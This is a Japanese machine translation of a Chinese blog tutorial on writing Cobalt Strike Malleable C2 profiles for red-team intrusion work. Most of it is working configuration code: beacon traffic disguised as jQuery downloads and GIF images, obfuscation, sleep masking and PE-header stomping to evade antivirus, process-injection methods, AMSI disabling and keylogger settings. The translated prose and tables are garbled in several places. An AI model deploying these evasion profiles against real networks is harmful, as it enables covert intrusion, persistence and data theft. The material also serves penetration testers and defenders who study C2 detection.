イントラネット侵入アーティファクト CobaltStrike プロファイル ファイルの書き込み (10)

導入

コマンド アンド コントロール (C2) トラフィックの特性を隠すことは、ネットワーク侵入テストやレッド チーム化シミュレーション中に侵入検知システムをうまくバイパスするために重要です。Cobalt Strike は、C2 トラフィックを通常のネットワーク トラフィックのようにカスタマイズするための強力なツールである Malleable C2 プロファイルを提供します。これらのプロファイルの使用方法とカスタマイズ方法を一緒に学びましょう

基本的な考え方

  1. グローバル オプション: これらは、使用する SSL 証明書ファイルの設定、サーバー ポートの設定など、C2 サーバーの基本パラメータを設定するためのいくつかのオプションです。
  2. http-stager : 設定のこの部分は、HTTP または HTTPS プロトコルを使用してステージャーの動作を制御するために使用されます。たとえば、User-Agent、URI、POST リクエストのデータ形式などを設定できます。
  3. http-get : このセクションは、C2 サーバーからタスクを取得するときにビーコンが送信する HTTP GET リクエストの形式を制御するために使用されます。
  4. http-post : この部分は、C2 サーバーにデータを送信するときに、ビーコンによって送信される HTTP POST リクエストの形式を制御するために使用されます。
  5. metadata : このセクションでは、ビーコンと C2 サーバーによって交換されるメタデータを制御するために使用される形式を設定します。

基本的な利用の流れ

1. プロファイルファイルを作成する

まず、新しい Malleable C2 プロファイルを作成するか、既存のプロファイルを変更する必要があります。このファイルはプレーン テキスト ファイルであり、任意のテキスト エディタで編集できます。基本的なプロファイル ファイルの構造は次のとおりです。

set keystore "/root/cobaltstrike.store";

http-stager {
    set uri "/download";
    set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}

http-get {
    set uri "/search";
    set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}

http-post {
    set uri "/submit";
    set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}

http-malleable {
    set uri "/data";
    set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}

2. プロファイルファイルを確認する

プロファイル ファイルが書き込まれた後、CobaltStrike に付属の c2lint を使用して、プロファイル ファイルが正しく構成されているかどうかを確認できます。次のコマンドを実行します。

./c2lint <profile_file>
画像-20230724201840527

以下の図に示すように、プロファイル ファイルの設定は成功しました。

画像-20230724204757185

3. プロファイルファイルをロードします

Cobalt Strike チーム サーバーを起動するときは、使用する Malleable C2 プロファイル ファイルを指定する必要があります。ファイル パスは、次のようにコマンド ラインのパラメータを使用して指定できます-profiles

./teamserver [yourip] [password] -profiles myprofile.profile

このうち、[yourip] と [password] は C2 サーバーの IP アドレスとパスワード、myprofile.profile は Malleable C2 プロファイル ファイルのパスです。

4. ビーコンの生成と展開

たとえば、Cobalt Strike では、[攻撃] -> [パッケージ] -> [Windows 実行可能ファイル (S)] メニュー項目を使用して、Malleable C2 プロファイルを含むビーコンを生成できます。その後、このビーコンをターゲット マシンに展開できます。

よくあるキーワード

データのエンコード方式

次の表は、プロファイル設定でのデータ エンコードに CobaltStrike で使用される一般的なキーワードの一部です。データのエンコードや追加の文字列の追加などの操作を実装するために、ニーズに応じてこれらのキーワードを組み合わせて使用​​できます。

たとえば、最初に Base64 エンコードを使用することを選択し、次に特定の文字列を追加して、より複雑なデータ エンコード スキームを作成できます。

声明 エンコーディング
「文字列」を追加 指定した文字列を最後に追加します
Base64 Base64エンコーディングを使用する
Base64URL Base64 エンコードの一種で、エンコードされたデータには、「+」、「/」など、URL の整合性を破壊する可能性のある文字は含まれません。
マスク XORエンコーディングを使用すると、キーはランダムになります
ネットバイオス NetBIOS エンコードを使用すると、結果としてエンコードされた文字は小文字 (「a」-「p」) になります。
netbiosu NetBIOS エンコードを使用すると、エンコードされた文字は大文字 (「A」-「P」) になります。
「文字列」を先頭に追加 指定した文字列をヘッダーに追加します
印刷する 入力を文字列として出力するために使用され、通常は出力操作で使用されます。
strep “s1” “s2” 文字列内のすべての s1 を s2 に置き換えます。
netbios_decode データの NetBIOS デコード
base64_decode Base64でデータをデコードする
マスクデコード XOR エンコードされたデータをランダムなキーでデコードする

文字列のエスケープ文字

プロファイル ファイルでは次のエスケープ文字を使用できます。

価値 意味
「\n」 改行
「\r」 キャリッジリターン
「\t」 タブキー
「\u####」 Unicode 文字を表します
"\バツ##" 16 進数 (シェルコードが \x90\x90 の書き方であることはご存知でしょう)

以下のコードの機能は、Cobalt Strike の Beacon が C2 サーバーと通信するときに、サーバー応答の HTTP メッセージ ヘッダーをContent-Type「image/gif」に設定し、メッセージ本文のデータに特定の 16 進コードを挿入することです。これは送信中に GIF 画像に解析されます。これにより、Beaconの通信データをネットワークトラフィックにマスキングして通常の画像データのように見せることができ、ネットワーク監視の検知を回避できます。

server {
    header "Content-Type" "image/gif";
    output {
      # 下列两行行分别将不同的十六进制序列插入到输出的开始位置
      # 这种序列通常用于具体的编码,例如这里就是构建一个GIF图像的特定格式
      prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
      prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
      print; #print命令会将输入数据打印为字符串
    }
}

終了キーワード(データ格納場所を指定)

データ エンコード ルールを設定した後、termination キーワードを使用してエンコード ルールの終わりをマークし、データの保存場所を指定する必要があります。

声明 データの保存場所
ヘッダー「ヘッダー」 指定された HTTP ヘッダーにデータを保存します。
パラメータ「キー」 指定された URI パラメータにデータを保存します。(終端キーワード「parameter」は、「id」コードブロックとその他の場所で意味が異なります。idコードブロックではビーコンのセッションIDを表します)
印刷する データをHTTPボディに格納します。
uri-追加 データを URI に直接追加します。この終了ステートメントを使用する場合は、エンコードに Base64 ではなく Base64url を使用することをお勧めします。これは、通常の Base64 エンコードには「+」記号が含まれており、URL 内でエスケープされる可能性があるためです。
  • およびこれら3 つのコード ブロックでは、これらのブロックhttp-get.server.outputデータはそのまま出力される必要があり、他の場所に保存できないため、終了キーワードとしてのみ使用できます。http-post.server.outputhttp-stager.server.outputprint
  • http-get.client.metadataの終了キーワードとしては使用できませんprintこれは HTTP GET リクエストの特性によるもので、リクエストボディ (body) でパラメータを渡すように設計されていません。

さらに、またはhttp-post.client.outputで使用される場合headerビーコンはデータを適切な長さにブロックしてから送信し、長すぎるデータ長によって引き起こされる問題を回避します。parameteruri-append

共通コードブロック

http-get

次のコードは、CS の HTTP GET リクエストの構成を定義します。これは 2 つの部分に分かれており、client1 つの部分はビーコンによって送信されるリクエストを記述し、serverもう 1 つの部分は C2 サーバーの応答を記述します。

metadataこのブロックでは、base64urlビーコンがメタデータを Base64 でエンコードすることを意味します。prepend "__cfduid="エンコードされたメタデータの前に文字列を追加することを意味します"__cfduid="header "Cookie";メタデータを「Cookie」ヘッダー フィールドに入れて送信することを意味します。

http-get {

    # 设置Beacon与C2服务器之间通信的URL
    set uri "/jquery-3.3.1.min.js";
    
    # 设置HTTP请求的类型
    set verb "GET";

    client {

        # 设置HTTP请求头的字段
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            # 设置元数据编码为base64url
            base64url;
            
            # 设置元数据前缀
            prepend "__cfduid=";
            
            # 设置携带元数据的HTTP头字段
            header "Cookie";
        }
    }

    server {

        # 设置服务器回应的HTTP头字段
        header "Content-Type" "application/octet-stream";

        output {
            # 设置服务器回应的数据编码为base64
            base64;
            
            # print指令告诉Cobalt Strike在回应中直接打印数据,不添加任何装饰
            print;
        }
}

http-ポスト

http-get とは異なり、http-post には id パラメータがあり、id 部分はセッション ID の送信方法を定義します。

セッション ID は、さまざまなビーコン インスタンスを識別するために CS によって使用される一意の識別子です。C2 サーバーと効果的に通信するには、C2 サーバーが各リクエストを認識して処理できるように、各ビーコンのリクエストにこの識別子を含める必要があります。たとえば、セッション ID が 1234 の場合、Beacon によって送信される POST リクエスト URI は になります/submit.php?id=1234

次のコードは、Cobalt Strike Beacon と C2 サーバー間の HTTP POST リクエスト通信のルールを定義します。

http-post {
    # 设置HTTP POST请求的URI
    set uri "/submit.php";

    client {
        # 设置HTTP请求的Content-Type
        header "Content-Type" "application/octet-stream";

        # 定义session id的传输方式,这里是添加到URL参数中
        id {
            parameter "id";
        }

        # 定义Beacon的数据输出方式,这里是编码为base64然后发送
        output {
			      base64;
            print;
        }
    }

    # 服务器响应部分
    server {
        # 设置HTTP响应的Content-Type
        header "Content-Type" "text/html";

        # 定义响应数据的处理方式,这里是解码(从base64格式)然后使用
        output {
			      base64;
            print;
        }
	}
}

http ステージャー

C2 と Beacon 間の通信方法には、stager (ステージあり) と stagerless (ステージレス) の 2 つがあります。これら 2 種類のペイロードの主な違いは、そのサイズと、その配信方法と実行方法です。

  • **stager: **Stager は小さなブートストラップ プログラムであり、その主なタスクは攻撃者のサーバー (または中間ノード) に接続し、残りのペイロード (つまりステージ部分) をダウンロードして実行することです。
  • **stagerless:** この種のペイロードは、ターゲット システムに配信された時点ですでに完成しており、Stager と Stager の 2 つの部分に分割されていません。ペイロードがターゲット システムに到達すると、すぐに実行できます。

Cobalt Strike は、http-stagerステージの送信プロセス (つまり、Beacon のコア コード) を制御できるコード ブロックを提供します。以下は例ですhttp-stager

http-stager {  
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";

    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";
        output {
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            # 1st Line
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }

    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
    }
}

set uri_x86 "/jquery-3.3.1.slim.min.js";およびset uri_x64 "/jquery-3.3.2.slim.min.js";: これらの 2 行は、HTTP リクエストで 32 ビットおよび 64 ビットのステージャーによって使用される URI を設定します。

serverC2 サーバーが HTTP 応答で使用するパラメーターを部分的に設定します。

  • headerキーワードは応答ヘッダーのパラメーターを設定します。たとえば、header "Server" "NetDNA-cache/2.2";「Server」応答ヘッダーを「NetDNA-cache/2.2」に設定します。
  • outputセクションはレスポンスボディの内容を設定します。応答本文の先頭と末尾にそれぞれデータを追加しますprependappendこの場合、データは jQuery ファイルのように見えるように設計されており、ステージャーの実際のコンテンツをマスクするのに役立ちます。

clientHTTP リクエストでステージャーによって使用されるパラメーターを部分的に設定します。

headerキーワードはリクエストヘッダーのパラメータを設定します。例えば、header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";

一般に、この構成では、Cobalt Strike の jQuery ファイルを装った HTTP ペイロード配布メカニズムがセットアップされ、特定のセキュリティ検出をバイパスするのに役立ちます。

http-config

http-config を使用すると、すべての HTTP 応答に影響する http 通信のグローバル特性を定義できます。

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=5, max=100";
    header "Connection" "Keep-Alive";
}

https証明書

Cobalt Strike の Malleable C2 プロファイルは、SSL 証明書を設定する 2 つの方法を提供します。事前に生成された証明書を使用する方法と、自己署名証明書を生成する方法です。

事前に生成された証明書を使用する

PEM 形式で事前に生成された SSL 証明書 (公開キーと秘密キーを含む) がすでにある場合は、それをプロファイル ファイルの http-certificate コード ブロックで直接指定できます。

次の例では、set keystoreコマンドは証明書ファイルへのパスを指定し、set password証明書ファイルのパスワードを指定します。

https-certificate {
    set keystore "C:\\path\\to\\your\\keystore.store";
    set password "password";
}

自己署名証明書を生成する

証明書をお持ちでない場合は、Cobalt Strike が自己署名証明書を生成できます。プロファイル ファイルでは、https-certificateコード ブロックを使用して証明書のさまざまな部分を定義できます。次の例では、set CNなどのコマンドがset O証明書のさまざまな属性を定義します。

https-certificate {
    set CN "www.example.com";  			#定义通用名称
    set O "Example Corporation";	    #定义组织
    set OU "Marketing";                 #定义组织单位
    set C "US"; 						#定义国家
    set ST "New York"; 					#定义州/省
    set L "New York";                   #定义城市
    set validity "365";                 #设置了证书的有效期
    set keypass "password";             #设置私钥的密码
}

.pem変化.store

まず openssl コマンドを使用して、PEM 形式の証明書と秘密キーを PKCS12 (.p12) 形式のファイルに結合します。

openssl pkcs12 -export -in cert.pem -inkey key.pem -out pkcs12.p12 -name alias -password pass:myp12password

-in および -inkey: 証明書と秘密鍵ファイルを入力します。

-out: 作成したいPKCS12ファイルを入力します。

-name: 証明書のエイリアスを入力します (カスタム)

-password: PKCS12 ファイルのパスワードを入力します。このパスワードは、後で Java キーストア ファイルに変換するために使用されます。

画像-20230724150958307

keytool コマンドを使用して、PKCS12 形式のファイルを Java KeyStore (.store) 形式に変換します。

keytool -importkeystore -deststorepass mystorepassword -destkeystore keystore.store -srckeystore pkcs12.p12 -srcstoretype PKCS12 -srcstorepass myp12password

-deststorepass: Java KeyStore ファイルのパスワード

-destkeystore: 作成する Java KeyStore ファイル

-srckeystore: 前に作成した PKCS12 ファイル

-srcstorepass: 前に設定した PKCS12 ファイルのパスワード

画像-20230724151008137

Java ツールを使用して、keytool生成されたファイルを確認し.store、ファイル パスとパスワードを入力でき.storeます。ファイルが有効な場合、このコマンドにより、証明書の所有者、発行者、シリアル番号、有効期間などの証明書の詳細が表示されます。証明書など。それ以外の場合はエラー メッセージが返されます。

keytool -list -v -keystore keystore.store -storepass mystorepassword
画像-20230724151124650

後で、新しく生成された Java KeyStore ファイルをプロファイル ファイルで使用できます。プロファイル ファイルでは、次のように設定できます。

https-certificate {
    set keystore "C:\\path\\to\\your\\keystore.store";
    set password "mystorepassword";
}

ステージ

前述のステージレス ペイロードは、ステージをリモートでロードして実行します。実際、このステージはリフレクション DLL (Beacon Dll) です。ステージ ブロックの内容を変更することで、Beacon Dll の機能を拡張して、特定のアンチウイルスを実現できます。殺戮効果。

以下はステージ コード ブロックの例です。

stage {
    # 开启混淆,对生成的Beacon shellcode进行混淆
    set obfuscate "true";

    # 开启PE头覆盖,修改已加载的DLL的PE头部以逃避安全软件的检测
    set stomppe "true";

    # 开启清理功能,清理为Beacon加载而创建的资源,如线程和句柄
    set cleanup "true";

    # 让分配给Beacon的内存区域同时具有读、写和执行权限
    set userwx "true";

    # 开启智能注入,尝试避免在注入Beacon时引起异常
    set smartinject "true";
    
    # 在负载处于休眠状态时,对内存中的Beacon负载进行操作,改变其内存中的表现形式,使其更难被检测
    set sleep_mask "true";
    
    # 设置内存分配器的类型,使用Windows API中的"VirtualAlloc"函数
    set allocator "VirtualAlloc";

    # 定义用于替换Beacon反射性DLL的PE头的自定义字节
    set magic_pe "LE";

    # 定义PE头部的各个属性
    set checksum       "0";  # 设置PE头部的校验和
    set entry_point    "13760";  # 设置PE头部的入口点
    set image_size_x86 "548864";  # 设置PE头部的图像大小(x86)
    set image_size_x64 "548864";  # 设置PE头部的图像大小(x64)
    set name           "wwanapi.dll";  # 设置PE头部的名称

    # 设置用于替换Beacon反射性DLL的Rich Header的自定义字节
    set rich_header    "\x39\x39\x83\xe8\x7d\x58\xed\xbb\x7d\x58\xed\xbb\x7d\x58\xed\xbb\x74\x20\x7e\xbb\x3b\x58\xed\xbb\x26\x30\xee\xba\x7e\x58\xed\xbb\x26\x30\xe9\xba\x69\x58\xed\xbb\x7d\x58\xec\xbb\xbf\x58\xed\xbb\x26\x30\xec\xba\x78\x58\xed\xbb\x26\x30\xe8\xba\x71\x58\xed\xbb\x26\x30\xed\xba\x7c\x58\xed\xbb\x26\x30\xe3\xba\x1f\x58\xed\xbb\x26\x30\x12\xbb\x7c\x58\xed\xbb\x26\x30\xef\xba\x7c\x58\xed\xbb\x52\x69\x63\x68\x7d\x58\xed\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
}

このセクションではstage、次の表に示すように、さまざまなコマンドを使用して、いくつかの防御メカニズムと検出戦略をバイパスできます。

コマンド/オプション 説明する
先頭に追加する 挿入された DLL のトレースについてメモリ セグメントの最初の数バイトをスキャンする特定の検出を回避するために使用されます。
溶連菌 デフォルトの「ReflectiveLoader」文字列など、指定した文字列を置換するために使用されます。
スリープマスク メモリ難読化を有効にするために使用されます。これにより、ビーコンは各スリープ前に自身のメモリ領域を混乱させ、スリープ終了後に難読化を解除します。この機能は、メモリ スキャン アンチウイルス (Kabbah など) をバイパスするように設計されています。
ユーザーwx Beacon のリフレクティブ ローダーが RWX 権限を使用してメモリを割り当てるかどうかを制御し、警告や懸念を回避するように設定しますfalse
アロケータ デフォルトのメモリ アロケータを変更するために使用されます。代わりにまたはVirtualAllocを使用することを選択できますHeapAllocMapViewOfFile
モジュール_(x64,x86) 1 は、allocatorさまざまなアーキテクチャでアロケータを指定するオプションの一部です。
掃除 ビーコン ステージの初期化が完了した後にステージが占有しているメモリを解放するかどうかを制御し、trueメモリ トレースを残さないように設定します。

プロセス注入

process-injectコード ブロックは、リモート プロセスに挿入されたときのビーコンの動作を制御するために使用されます。攻撃中、攻撃者は永続化と隠蔽のために実行中のプロセスにビーコンを挿入しようとする可能性があります。

以下代码是Cobalt Strike配置中进程注入部分的设置,它定义了Cobalt Strike如何在远程进程中注入和执行代码。特别的,它设置了使用"VirtualAllocEx"为远程进程分配内存,内存分配的最小值设为7814字节。它指定了新分配的内存区域不应该具有读、写和执行(RWX)权限,也就是不允许在分配和写入载荷之前,内存区域具有这样的权限。为了避免某些防御机制的检测,它还在注入的代码前添加了几个NOP(无操作)指令。此外,它定义了多种在远程进程中执行代码的方法,包括使用CreateThreadNtQueueApcThread-sSetThreadContextCreateRemoteThreadRtlCreateUserThread等函数,这提供了进程注入的灵活性和多样性,使得攻击更难被防御措施检测到。

process-inject {
    # 设置远程内存分配技术
    set allocator "VirtualAllocEx";

    # 形状注入内容和属性
    set min_alloc "7814";  # 设置内存分配的最小值为7814字节
    set userwx    "false";  # 分配的内存不应具有读、写和执行(RWX)权限
    set startrwx "false";  # 注入代码前,内存不应被设置为具有读、写和执行(RWX)权限

    transform-x86 {
        # 在注入的代码前添加 NOP (无操作)指令
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP!
    }

    transform-x64 {
        # 在注入的代码前添加 NOP (无操作)指令
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP!
    }

    // 指定在远程进程中执行代码的方法
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2285"; # 使用CreateThread函数执行代码
        NtQueueApcThread-s;  # 使用NtQueueApcThread-s函数执行代码
        SetThreadContext; # 使用SetThreadContext函数执行代码
        CreateRemoteThread; # 使用CreateRemoteThread函数执行代码
        CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; # 使用CreateRemoteThread函数并偏移执行代码
        RtlCreateUserThread; # 使用RtlCreateUserThread函数执行代码
    }
}

注:transform-x86transform-x64代码块用于对注入的代码进行转换,可以向Beacon注入的内容添加东西,你可以使用appendprepend命令来向注入的代码前或后添加额外的代码,又或者使用replace-strreplace-all-str命令在注入的代码中替换字符串

post-ex

post-ex代码块在Cobalt Strike的Beacon payload中是用来配置后期执行(post-exploitation)阶段的一些参数。这些参数主要影响和控制如何创建新的进程、怎样注入和执行代码、如何混淆和隐藏行为以及如何收集和传输数据等。

一般而言,在一个成功的网络入侵中,攻击者在拥有目标系统的访问权限之后,通常需要进行一系列的后期执行活动,例如执行更多的攻击、收集数据、建立持久性访问等。这些活动需要对目标系统进行一系列复杂的操作,如创建和管理新的进程、注入和执行代码、使用不同的通信方式来传输数据等。post-ex代码块就是用来配置和控制这些操作的一系列参数。

post-ex {
    # 控制我们产生的临时进程。Beacon将产生一个临时进程,将shellcode注入其中,并让新的进程执行这个shellcode。
    set spawnto_x86 "%windir%\\syswow64\\svchost.exe"; # 对于32位payloads
    set spawnto_x64 "%windir%\\sysnative\\svchost.exe"; # 对于64位payloads
    
    # 改变我们的post-ex DLLs的权限和内容。此设置启用对Beacon用于post-ex任务的DLLs(如键盘记录或令牌操作)的混淆。
    set obfuscate "true";
    
    # 更改我们的post-ex输出命名管道名称。此设置允许控制Beacon用于从作业中检索输出的命名管道。
    set pipename "srvsvc-1-5-5-0####";
    
    # 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post-ex作业。
    set smartinject "true";
    
    # 允许多线程post-ex DLLs产生带有伪装起始地址的线程。
    # set thread_hint "module!function+0x##";
    
    # 在powerpick、execute-assembly和psinject中禁用AMSI。此选项将会在目标进程中修补AMSI。
    set amsi_disable "true";
    
    # 控制用于记录键盘击键的方法
    set keylogger "SetWindowsHookEx";
}

上記のコードでは、spawnto_x86spawnto_x64set を使用して、32 ビットおよび 64 ビット システムで新しく作成されたプロセスの名前を定義します。この設定を使用して、検出を回避するために、obfuscate実行後のタスク用にビーコンによって使用される DLL を混同するかどうかを決定できます。amsi_disableまた、マルウェア対策ツールなどによる検出を回避するために、ターゲット システムで AMSI (マルウェア対策スキャン インターフェイス) を無効にするかどうかを決定する設定を渡すこともできます。

pipenameパラメーターは、実行の後の段階で使用される名前付きパイプを定義または変更するために使用されます (名前付きパイプは、ローカルまたはネットワーク上の異なるプロセス間で通信するためのメカニズムです。Windows システムでは、通常、パラメーターは異なるプロセスまたはシステム共有で使用され、それらの間でデータを転送します。通常、名前は で始まり\\.\pipe\、その後に任意の名前が続きます)。特に、のシンボルpipename#乱数に置き換えられるため、新しい名前付きパイプが作成されるたびに異なる名前が使用され、ステルス性がさらに向上します。

たとえば、設定すると、 という名前の後に 4 つの乱数が続く名前付きパイプset pipename "srvsvc-1-5-5-0####";が作成されますこの名前は通常の Windows サービスのように見えるため、セキュリティ担当者の注意を引くことはおそらくないでしょう。srvsvc-1-5-5-0srvsvc-1-5-5-01234

参考リンク

  • https://wbgil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#malleable-c2-ji-ben-yu-fa

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile- language.htm#_Toc65482837

おすすめ

転載: blog.csdn.net/xf555er/article/details/132416431